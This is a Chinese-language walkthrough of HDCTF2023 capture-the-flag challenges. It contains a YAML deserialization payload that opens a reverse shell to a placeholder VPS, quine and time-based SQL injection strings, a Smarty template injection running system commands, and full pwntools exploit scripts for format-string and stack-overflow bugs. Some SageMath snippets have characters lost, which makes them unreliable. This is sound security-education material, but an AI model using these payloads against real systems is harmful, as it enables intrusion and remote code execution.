目录
Web
<1> YamiYami(伪随机数&yaml反序列化)
<2> LoginMaster(quine注入)
<3> SearchMaster(Smarty模板注入)
<4> BabyJxVx (Apache SCXML2 RCE)
Pwn
<1> pwnner(伪随机数&ret2text)
<2> KEEP ON(格式化字符串漏洞&栈迁移)
<3> Minions(格式化字符串漏洞&栈迁移)
<4> Makewish(栈迁移)
Crypto
<1> Normal_Rsa(知p,q,r,e 求d m)
<2> 爬过小山去看云(希尔密码)
<3> Math_Rsa
有三个路由:
非预期:直接file:///proc/1/environ
预期解:
双重url编码绕过 re.findall('app.*', url, re.IGNORECASE) 的过滤
file:///%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 Read somethings
Here is the challenge Upload file
Enjoy it pwd
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
/boogipop 路由 yaml.full_load(f) 存在 yaml反序列化
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
random伪随机数,这里我们可以得到:SECRET_KEY
然后通过SECRET_KEY 伪造session 满足 session.get("passport")=="Welcome To HDCTF2023" 其 passport键值为Welcome To HDCTF2023
那话说回来,random这个 种子怎么得到呢 这里用到了 uuid.getnode()
在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。
我们利用之前的任意文件读取,读取 /sys/class/net/eth0/address
,即网卡的位置,然后伪造即可
02:42:ac:02:f6:34
import random
random.seed(0x0242ac02f634)
print(str(random.random()*233))
# 189.70249136205157
得到SECRET_KEY:189.70249136205157
利用 flask-session-manager 脚本伪造flask session
最后 我们上传构造好的 yaml文件 题目过滤了 "yaml","YAML","YML","yml","yamiyami"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
这里f为 open打开的文件的内容,输入的是一个steam,也就是流 并不会管你后缀什么的 因此我们直接更改后缀为 .txt上传即可
!!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/vps/port <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list
随便输入一个用户名密码 登录 返回:only admin can login 应该就是要获取到admin的passwd
robots.txt里有东西 得到了waf的代码
function checkSql($s)
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
可以看到 waf过滤了 regexp between in flag = > < and \ right left reverse update extractvalue floor substr & ; \\$ 0x sleep 空格
这里我们可以进行延时注入 但是据说注入注 出来是空密码 我只注了一下数据库长度
import requests as r
url = "http://node4.anna.nssctf.cn:28303/index.php"
def get_DBlength():
for i in range(1,20):
payload = "1'or/**/if(length(database())/**/like/**/%d,benchmark(10000000,md5(1)),0)#" %(i)
data = {
"username":"admin",
"password":payload
}
try:
res = r.post(url=url,data=data,timeout=2)
except Exception as e:
#print(e)
print("Database Length:",i)
break
这道题考察点为 unique注入
网上有篇文章 与第五空间 yet-another-mysql-injection类似 应该是原题
https://www.cnblogs.com/zhengna/p/15917521.html
重点看这段代码
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
这个if判断了从数据库中查到的密码是否和用户输入的是一样的,做了强比较,===才会得到FLAG,难道只能输入正确密码才能得到FLAG吗
不止 我们可以 构造一个输入输出完全一致的语句,就可以绕过限制并得到FLAG
payload: 1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
首先我们需要了解一下replace()函数
举个例子
.apple 替换 char(46) 也就是 . 为 a 查询结果返回的就是apple
那如何让输入输出一致呢?
如果我们将object写成replace(".",char(46),".")
没变化 正常 . 换 . 怎么会有变化
这时候我们将第三个参数也改成 replace(".",char(46),".")
那么语句就变为了 select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
作用即: 把object里的 . 变成 replace(".",char(46),".")
有一点点套娃 递归的意思 挺有趣的
这里 输入输出是不是就大体一致了呢 但是细心一看 会发现 并不完全一致 有一个 ' 和 " 的区别
3.解决单双引号不同的问题
有了上面的经验后,我们这样考虑,如果先将双引号替换成单引号是不是就可以解决引号不同的问题了。实现方法无非就是在套一层replace
同理 原先的 select replace(".",char(46),".") 套一层replace 将 " 替换为 '
即 select replace(replace('"."',char(34),char(39)),char(46),".");
继续按上面套娃、递归的思想 构造输入输出相同的语句
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
构造输入输出相同的 str
str基本形式
replace(replace(".", char(34), char(39)), char(46), ".") (已解决 ' "问题)解决掉 ' " 的问题,之后再用str替换str里的 . 即可
即:得到:Quine基本形式:
replace(replace('str', char(34), char(39)), char(46),'str')select replace(replace('str', char(34), char(39)), char(46),'str') 返回的就是 replace(replace('str', char(34), char(39)), char(46),'str')
题目中,我们需要构造的str为:
1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#
这个就是我们str的基本形式 (已解决 ' "问题)
所以我们的Quine的基本形式为:
1'/**/union/**/select/**/replace(replace('str',char(34),char(39)),char(46),'str')#
之后再用 str 替换Quine形式里的str 即可
最终通过来回替换的形式达到了我们的目的1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
红色即为 str部分
登录 查询语句===查询结果 满足了 条件 得到flag
传入 {{7*7}} 回显为49 同时 /composer.json 泄露 Smarty
data={$smarty.version} 得到版本为:4.1.0
data={system('cat /flag_13_searchmaster')}
或者利用if {if system('cat /flag_13_searchmaster')}{/if}
可以参考:奇安信攻防社区-Smarty模板引擎漏洞详解
题目提供一个附件,jd-gui打开 其中有一个Flagcontroller类
有/ 和 /Flag 两个路由 /Flag 路由 存在 Apache SCXML2 RCE漏洞
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.SCXML;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;
@Controller
public class Flagcontroller {
private static Boolean check(String fileName) throws IOException, ParserConfigurationException, SAXException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
Document doc = builder.parse(fileName);
int node1 = doc.getElementsByTagName("script").getLength();
int node2 = doc.getElementsByTagName("datamodel").getLength();
int node3 = doc.getElementsByTagName("invoke").getLength();
int node4 = doc.getElementsByTagName("param").getLength();
int node5 = doc.getElementsByTagName("parallel").getLength();
int node6 = doc.getElementsByTagName("history").getLength();
int node7 = doc.getElementsByTagName("transition").getLength();
int node8 = doc.getElementsByTagName("state").getLength();
int node9 = doc.getElementsByTagName("onentry").getLength();
int node10 = doc.getElementsByTagName("if").getLength();
int node11 = doc.getElementsByTagName("elseif").getLength();
if (node1 > 0 || node2 > 0 || node3 > 0 || node4 > 0 || node5 > 0 || node6 > 0 || node7 > 0 || node8 > 0 || node9 > 0 || node10 > 0 || node11 > 0)
return Boolean.valueOf(false);
return Boolean.valueOf(true);
}
@RequestMapping({"/"})
public String index() {
return "index";
}
@RequestMapping({"/Flag"})
@ResponseBody
public String Flag(@RequestParam(required = true) String filename) {
SCXMLExecutor executor = new SCXMLExecutor();
try {
if (check(filename).booleanValue()) {
SCXML scxml = SCXMLReader.read(filename);
executor.setStateMachine(scxml);
executor.go();
return "Revenge to me!";
}
System.out.println("nonono");
} catch (Exception var5) {
System.out.println(var5);
}
return "revenge?";
}
}
filename参数可控,SCXMLReader.read 可以通过参数加载 XML 文件 ,我们可以在vps上放上我们的恶意xml文件 使其加载我们的远程 恶意xml文件
题目过滤了 script datamodel invoke param parallel history transition state onentry if elseif 标签
这里payload用的是 onexit
文件内容为:
之后在vps上 我们的xml文件目录下 python -m http.server 1111 开启一个http服务
nc -lvnp 2222 开启一个监听端口
访问 /Flag路由 传参 filename=http://ip:port/1.xml
成功弹回来了shell (耗时稍微长一点)
附件下载下来 64位elf文件 IDA64打开分析一下
看一下main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
hello();
vuln();
return 0;
}
执行了 hello() 和 vuln()函数
同时 我们在get_shell() 发现了 /bin/sh 后门 地址为0x04008B2
再看一下 漏洞利用点 vuln()函数
__int64 vuln()
{
int v0; // ebx
char buf; // [rsp+0h] [rbp-50h]
char v3; // [rsp+10h] [rbp-40h]
srand(0x39u);
puts("you should prove that you love pwn,so input your name:");
read(0, &buf, 0x10uLL);
v0 = atoi(&buf);
if ( v0 == rand() )
{
puts("ok,you have a little cognition about pwn,so what will you do next?");
read(0, &v3, 0x100uLL);
}
else
{
puts("sorry,you are not a real pwnner");
}
return 0LL;
}
这里 if条件语句内 read(0, &v3, 0x100uLL); 存在栈溢出 但利用前提是 我们的输入经过 atoi() ==rand() 这里涉及到了rand()函数的伪随机数问题 srand(0x39) 种子为0x39
我们利用python的ctypes库 生成这个伪随机数输入,然后溢出覆盖返回地址为 后门地址 0x04008B2即可
exp如下:
from pwn import *
import ctypes
libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(0x39)
p = remote("node1.anna.nssctf.cn",28015)
p.recvuntil(b'input your name:')
p.sendline(str(libc.rand()))
padding = b'A'*(0x40+0x08)
backdoor_addr = 0x04008B2
payload = padding + p64(backdoor_addr)
p.recvuntil(b'so what will you do next?')
p.sendline(payload)
p.interactive()
64位 ELF文件 IDA64打开分析
漏洞点在这个 vuln()函数这里
__int64 vuln()
{
char s; // [rsp+0h] [rbp-50h]
memset(&s, 0, 0x50uLL);
puts("please show me your name: ");
read(0, &s, 0x48uLL);
printf("hello,", &s);
printf(&s);
puts("keep on !");
read(0, &s, 0x60uLL);
return 0LL;
}
它会让我们输入,然后调用 printf(&s) 两次输出 很经典 存在格式化字符串漏洞
与我们之前buu做的 [第五空间2019 决赛]PWN5 题目非常类似
有两种做法:
printf_got
为system_plt
再send/bin/sh\x00
,使得程序在本该执行printf
的地方执行system("/bin/sh")
,从而获得shell这道题给了一个假后门 shell() 函数 存在 system('echo flag'); 但这个实际上也就只是 输出 flag 四个字符而已 并不会给我们真的flag 因此不用考虑这个shell() 但是这里表明存在system_plt
int shell()
{
return system("echo flag");
}
格式化字符串做法
输入 AAAAAAAA %8p %8p %8p %8p %8p %8p %8p %8p
第六个输出为 0x41414141 我们输入的AAAA 所以偏移 offset为6
fmtstr_payload()是专门为32位程序格式化字符串漏洞输出payload的函数 第一次读取时 read(0, &s, 0x48uLL)利用 fmtstr_payload()将printf_got
改为system_plt 注意这里64位要加上 context.arch = 'amd64'
然后通过第二个 read(0, &s, 0x60uLL); 覆盖ret 为 vuln()函数起始地址 0x040076F
函数返回 重新执行vuln()函数 然后再发送 '/bin/sh\x00' vuln()重新执行时 执行到printf(&s) 等价于 执行system('/bin/sh');
exp如下:
from pwn import *
p=remote("node4.anna.nssctf.cn",28073)
#p = process("./hdctf")
elf = ELF("./hdctf")
context.arch = 'amd64'
printf_got = elf.got['printf']
sys_plt = elf.plt['system']
offset = 6
payload = fmtstr_payload(offset, {printf_got : sys_plt})
p.sendafter(b"your name: ", payload)
ret_addr = elf.sym['vuln']
payload = b'A'*(0x50+0x08) + p64(ret_addr)
p.sendafter(b"keep on !",payload)
p.sendafter(b"your name: ",b"/bin/sh\x00")
p.interactive()
注意:
栈迁移
read函数的读入有限制,没有足够大的空间让我们构建调用 system
这里 用到了 one_gadget 要知道one_gadget,首先要知道libc的版本才行
利用 printf(&s) 格式化字符串漏洞 得到libc_start_main 之后再求出libc基址,就可以知道one_gadget,再然后就正常溢出
exp如下:
from pwn import*
from LibcSearcher import*
context(os='linux', arch='amd64')
context.log_level = 'debug'
#p = process('./hdctf')
p = remote('node4.anna.nssctf.cn',28947)
elf=ELF('./hdctf')
printf_got=elf.got['printf']
p.recvuntil(b'me your name: \n')
payload = b'%19$p'
p.sendline(payload)
p.recvuntil(b'hello,')
libc_start_main = int(p.recv(14),16)-240
print('libc_start_main_is:',hex(libc_start_main))
libc = LibcSearcher('__libc_start_main',libc_start_main)
libcbase = libc_start_main-libc.dump('__libc_start_main')
sys_addr = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')
print('sys_addr_is:',hex(sys_addr))
execve=libcbase+0x45226
# execve=libcbase+0x4527a
# execve=libcbase+0xf0364
# execve=libcbase+0xf1207
# gdb.attach(p)
# pause()
p.recvuntil(b'keep on !\n')
payload1=b'a'*0x58+p64(execve)
p.sendline(payload1)
p.interactive()
下载下来附件 64位ELF文件 IDA64打开分析一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-30h]
init(*(_QWORD *)&argc, argv, envp);
vuln();
puts("\nDo you have an invitation key?");
if ( key == 102 )
{
puts("welcome,tell me more about you");
read(0, &buf, 0x40uLL);
puts("That's great.Do you like Minions?");
read(0, &hdctf, 0x28uLL);
}
else
{
puts("sorry,you can't in");
}
return 0;
}
再看一下 vuln()函数
int vuln()
{
char buf; // [rsp+0h] [rbp-D0h]
puts("Welcome to HDCTF.What you name?\n");
read(0, &buf, 0xD0uLL);
printf("Hello,", &buf);
return printf(&buf); //存在格式化字符串漏洞
}
同 KEEP ON 两种做法,栈迁移 或者 格式化字符串漏洞劫持printf_got
为system_plt
首先 我们利用 vuln()里 格式化字符串漏洞 覆盖 key的值为102 进入main函数循环语句
偏移位为6
key_addr 为 0x6010A0
再次构造栈溢出 使得函数返回地址为 _start 起始地址 0x400610
exp如下:
from pwn import *
p = remote('node1.anna.nssctf.cn',28238)
#p = process('./minions1')
elf = ELF(r'./minions1')
context.arch='amd64'
#context(arch='amd64', os='linux', log_level='debug')
offset = 6
printf_got = elf.got['printf']
sys_plt = elf.plt['system']
start_addr = elf.sym['_start']
# 利用vuln()函数里格式化字符串漏洞 覆盖key 满足 key==102
key_addr = 0x6010A0
payload = fmtstr_payload(offset, {key_addr: 0x66})
p.sendlineafter(b"name?\n",payload)
# 栈溢出 使函数返回 _start 为重新执行vuln()里的printf
Padding = b'A' * (0x30 + 0x08)
payload_vuln = Padding + p64(start_addr)
p.sendafter(b"tell me more about you",payload_vuln)
p.sendlineafter(b"Minions?",b'aaa')
# 利用vuln()函数里格式化字符串漏洞 修改 printf_got为system_plt
payload = fmtstr_payload(offset,{printf_got: sys_plt})
p.sendlineafter(b"name?\n",payload)
# 栈溢出 返回 _start重新执行 vuln()里的printf
p.sendafter(b"tell me more about you",payload_vuln)
p.sendlineafter(b"Minions?",b'aaa')
# send /bin/sh printf即system 调用 /bin/bash 得到shell
payload = b'/bin/sh\x00'
p.sendlineafter(b"name?\n",payload)
p.interactive()
注意:
栈迁移
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
context.terminal = ['tmux','splitw','-h']
io = process('./minions1')
io = remote('node1.anna.nssctf.cn', 28380)
def slog(name, address): io.success(name + "==>" + hex(address))
def get_address():
return u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
def debug():
gdb.attach(io, 'b vuln')
key = 0x6010a0
system = 0x4005c0
bss = 0x6010c0
ret = 0x400581
leave_ret = 0x400758
pop_rdi = 0x400893
payload = b'%102c%8$lln%28$p' + p64(key)
io.sendafter("name?\n\n", payload)
io.recvuntil('0x')
stack_addr = int(io.recv(12),16) + 0x10
slog("stack_addr", stack_addr)
payload2 = (p64(pop_rdi) + p64(bss) + p64(system)).ljust(0x30, b'\x00') + p64(stack_addr-8) + p64(leave_ret)
io.sendafter("you\n", payload2)
io.sendafter("?\n", b'/bin/sh\x00')
io.interactive()
栈迁移核心思想就是利用leave和ret转移ebp和esp。leave和ret常用于复原栈
考点:栈迁移到栈段然后调用bss段写的binsh 打不通多试几次
64位 ELF文件 checksec发现有canary
IDA64打开分析一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-38h]
int v5; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+10h] [rbp-30h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
init(*(_QWORD *)&argc, argv, envp);
v5 = rand() % 1000 + 324;
puts("tell me you name\n");
read(0, &buf, 0x30uLL);
puts("hello,");
puts(&buf);
puts("tell me key\n");
read(0, &v4, 4uLL);
if ( v5 == v4 )
return vuln(0LL, &v4);
puts("failed");
return 0;
}
开头的puts(&buf) 应该是专门给泄露canary的
v5 = rand() % 1000 + 324; 进入vuln还需要通过v5的检测,这个v5是一个伪随机数 利用python ctypes库去生成key 注意send时用p32,因为int四字节
注:没有用srand()设置种子时,默认srand(1)
再看 一下 vuln() 函数
__int64 vuln()
{
char buf[88]; // [rsp+0h] [rbp-60h]
unsigned __int64 v2; // [rsp+58h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("welcome to HDctf,You can make a wish to me");
buf[(signed int)read(0, buf, 0x60uLL)] = 0;
puts("sorry,i can't do that");
return 0LL;
}
看其他师傅 wp 说是 off_by_null (第一次听说)
read的返回值是你正确输入的字节数,也就是说,整个函数会使得你输入的payload的下一个字节的最后一位改成’\x00’,也就是俗称的off_by_null
vuln里我们 写入buf时 是在(rbp-0x50)位置写入payload 我们将 rbp与 buf输入位置之间填满 ret_addr
而由于off_by_null漏洞,会使得父栈帧的rbp变成0x…ac00 rbp的下一字长就是我们填入的ret,就可以成功获得shell了
同时 有一个后门函数:treasure() 地址为:0x4007C7
int treasure()
{
return system("/bin/sh");
}
exp如下:
from pwn import*
from ctypes import*
context(os='linux', arch='amd64')
context.log_level = 'debug'
native = 0
if native:
p = process('pwn1')
else:
p = remote('node4.anna.nssctf.cn',28890)
elf=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
shell=0x4007C7
p.recvuntil(b'tell me you name\n\n')
payload=b'a'*0x28
p.sendline(payload)
p.recvuntil(b'hello,')
p.recv(0x29)
can=u64(p.recv(8))
print('cannary_is:',hex(can))
elf.srand(1)
p.recvuntil(b'tell me key\n')
key=elf.rand()% 1000 + 324
print(key)
p.send(p32(key))
p.recvuntil(b'can make a wish to me\n')
# payload=b'a'*0x58+p64(can-0xa)
payload=p64(shell)*0xb+p64(can-0xa)
# gdb.attach(p)
# pause()
p.send(payload)
p.interactive()
代码如下:
m=bytes_to_long(b'HDCTF{******}')
e=65537
p=getPrime(256)
q=getPrime(512)
r=getPrime(512)
n=p*q*r
P=pow(p,2,n)
Q=pow(q,2,n)
c=pow(m,e,n)
print(f"P = {P}")
print(f"Q = {Q}")
print(f"n = {n}")
print(f"c = {c}")
P = 8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961
Q = 112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401
n = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749
c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785
根据代码可知:P = p² mod n Q = q² mod n c = m^e mod n
所以 :p² = P + kn q² = Q + kn m² = c + kn
根据 p、q、c 和 n的位数 p、q、c的位数都 < n 因此可知 k=0
题目给了 P、Q、n、c得知,开根 即可得到对应 p、q r
之后就 正常rsa计算了 解密
poc如下:
from Crypto.Util.number import *
import gmpy2
P = 8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961
Q = 112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401
n = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749
c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785
p = gmpy2.iroot(P,2)[0]
q = gmpy2.iroot(Q,2)[0]
e=65537
r = n//(p*q)
phi_n = (p-1)*(q-1)*(r-1)
d = gmpy2.invert(e,phi_n)
m = pow(c,d,n)
#m = gmpy2.powmod(c,d,n)
print(long_to_bytes(m))
文:ymyvzjtxswwktetpyvpfmvcdgywktetpyvpfuedfnzdjsiujvpwktetpyvnzdjpfkjssvacdgywktetpyvnzdjqtincduedfpfkjssne
在山的那头,有3个人,4只鸟,19只羊,11朵云
山 hill 希尔密码 key 为 3 4 19 11
在线网站进行解密:Practical Cryptography
得到 希尔加密的原文:your pin is eight four two zero eight four two one zero eight eight four zero two four zero eight four zero one zero one two four x
即 842084210884024084010124 8 4 2 1 0的组合 应该是云影密码
解密脚本如下:
a="842084210884024084010124"
s=a.split('0')
print(s)
l=[]
for i in s:
sum=0
for j in i:
sum+=eval(j)
l.append(chr(sum+64))
print(''.join(l))
#NOTFLAG
得到flag:NOTFLAG
题目 如下:
from Crypto.Util.number import *
from shin import flag
m=bytes_to_long(flag)
r=getPrime(1024)
assert r%4==3
p=getPrime(1024)
assert pow(p,(r-1)//2,r)==1
q=getPrime(1024)
e=65537
n=p*q
a=pow(p,2,r)
c=pow(m,e,n)
print(f"n = {n}")
print(f"r = {r}")
print(f"a = {a}")
print(f"c = {c}")
'''
n = 14859096721972571275113983218934367817755893152876205380485481243331724183921836088288081702352994668073737901001999266644597320501510110156000004121260529706467596723314403262665291609405901413014268847623323618322794733633701355018297180967414569196496398340411723555826597629318524966741762029358820546567319749619243298957600716201084388836601266780686983787343862081546627427588380349419143512429889606408316907950943872684371787773262968532322073585449855893701828146080616188277162144464353498105939650706920663343245426376506714689749161228876988380824497513873436735960950355105802057279581583149036118078489
r = 145491538843334216714386412684012043545621410855800637571278502175614814648745218194962227539529331856802087217944496965842507972546292280972112841086902373612910345469921148426463042254195665018427080500677258981687116985855921771781242636077989465778056018747012467840003841693555272437071000936268768887299
a = 55964525692779548127584763434439890529728374088765597880759713360575037841170692647451851107865577004136603179246290669488558901413896713187831298964947047118465139235438896930729550228171700578741565927677764309135314910544565108363708736408337172674125506890098872891915897539306377840936658277631020650625
c = 12162333845365222333317364738458290101496436746496440837075952494841057738832092422679700884737328562151621948812616422038905426346860411550178061478808128855882459082137077477841624706988356642870940724988156263550796637806555269282505420720558849717265491643392140727605508756229066139493821648882251876933345101043468528015921111395602873356915520599085461538265894970248065772191748271175288506787110428723281590819815819036931155215189564342305674107662339977581410206210870725691314524812137801739246685784657364132180368529788767503223017329025740936590291109954677092128550252945936759891497673970553062223608
'''
已知条件:
关键在a=pow(p,2,r),需要利用a,r来求p,这里就要用到Sagemath工具:
r = 145491538843334216714386412684012043545621410855800637571278502175614814648745218194962227539529331856802087217944496965842507972546292280972112841086902373612910345469921148426463042254195665018427080500677258981687116985855921771781242636077989465778056018747012467840003841693555272437071000936268768887299
a = 55964525692779548127584763434439890529728374088765597880759713360575037841170692647451851107865577004136603179246290669488558901413896713187831298964947047118465139235438896930729550228171700578741565927677764309135314910544565108363708736408337172674125506890098872891915897539306377840936658277631020650625
R.=PolynomialRing(Zmod(r))
f=(p^2)-a
ans=f.roots()
print(ans)
#[(135098300162574110032318082604507116145598393187097375349178563291884099917465443655846455456198422625358836544141120445250413758672683505731015242196083913722084539762488109001442453793004455466844129788221721833309756439196036660458760461237225684006072689852654273913614912604470081753828559417535710077291, 1), (10393238680760106682068330079504927400023017668703262222099938883730714731279774539115772083330909231443250673803376520592094213873608775241097598890818459890825805707433039425020588461191209551582950712455537148377360546659885111322482174840763781771983328894358193926388929089085190683242441518733058810008, 1)]
首先来解释一下参数意义:
其中,PR.
= PolynomialRing(Zmod®)
(1)Zmod®:指定模,定义界限为r的环;Z表示整数;指定模是划定这个环的界限,就是有效的数字只有从0到r,其他的都通过与r取模来保证在0~r这个范围内;Zmod代表这是一个整数域中的r模环。
ZZ:整数环;QQ:有理数环;RR:实数环;CC:复数环
(2)R:只是一个指针,指向用polynomialring指定的那个环(可以使用任意字符)
(3)PolynomialRing:这个就是说建立多项式环
(4).
:指定一个变量的意思(可以用任意字符)
(5) f=(p^2)-a 则是定义一个多项式 f
(6) ans=f.roots()是求解f中所有满足函数的自变量
例如:这道题需要求解
将同余式项全部移到一边
其中 a r已知 ,需要求解p
sage写:
P. = Zmod(r)[]
f = p^2 - a
f.roots()
得到所有满足条件的情况 之后,q=n//p, 判断p*q==n来验证是否成立 之后就 rsa解密模板了
求d 求m
import gmpy2
from Crypto.Util.number import *
n = 14859096721972571275113983218934367817755893152876205380485481243331724183921836088288081702352994668073737901001999266644597320501510110156000004121260529706467596723314403262665291609405901413014268847623323618322794733633701355018297180967414569196496398340411723555826597629318524966741762029358820546567319749619243298957600716201084388836601266780686983787343862081546627427588380349419143512429889606408316907950943872684371787773262968532322073585449855893701828146080616188277162144464353498105939650706920663343245426376506714689749161228876988380824497513873436735960950355105802057279581583149036118078489
r = 145491538843334216714386412684012043545621410855800637571278502175614814648745218194962227539529331856802087217944496965842507972546292280972112841086902373612910345469921148426463042254195665018427080500677258981687116985855921771781242636077989465778056018747012467840003841693555272437071000936268768887299
a = 55964525692779548127584763434439890529728374088765597880759713360575037841170692647451851107865577004136603179246290669488558901413896713187831298964947047118465139235438896930729550228171700578741565927677764309135314910544565108363708736408337172674125506890098872891915897539306377840936658277631020650625
c = 12162333845365222333317364738458290101496436746496440837075952494841057738832092422679700884737328562151621948812616422038905426346860411550178061478808128855882459082137077477841624706988356642870940724988156263550796637806555269282505420720558849717265491643392140727605508756229066139493821648882251876933345101043468528015921111395602873356915520599085461538265894970248065772191748271175288506787110428723281590819815819036931155215189564342305674107662339977581410206210870725691314524812137801739246685784657364132180368529788767503223017329025740936590291109954677092128550252945936759891497673970553062223608
e = 65537
#P. = PolynomialRing(Zmod(r))
PR.
= Zmod(r)[]
f = p^2 - a
res = f.roots()
print(res)
for i in res:
p = int(i[0])
q = n // p
if p*q != n:
continue
d = gmpy2.invert(e,(p-1)*(q-1))
m = gmpy2.powmod(c,d,n)
print(long_to_bytes(m))
# p=135098300162574110032318082604507116145598393187097375349178563291884099917465443655846455456198422625358836544141120445250413758672683505731015242196083913722084539762488109001442453793004455466844129788221721833309756439196036660458760461237225684006072689852654273913614912604470081753828559417535710077291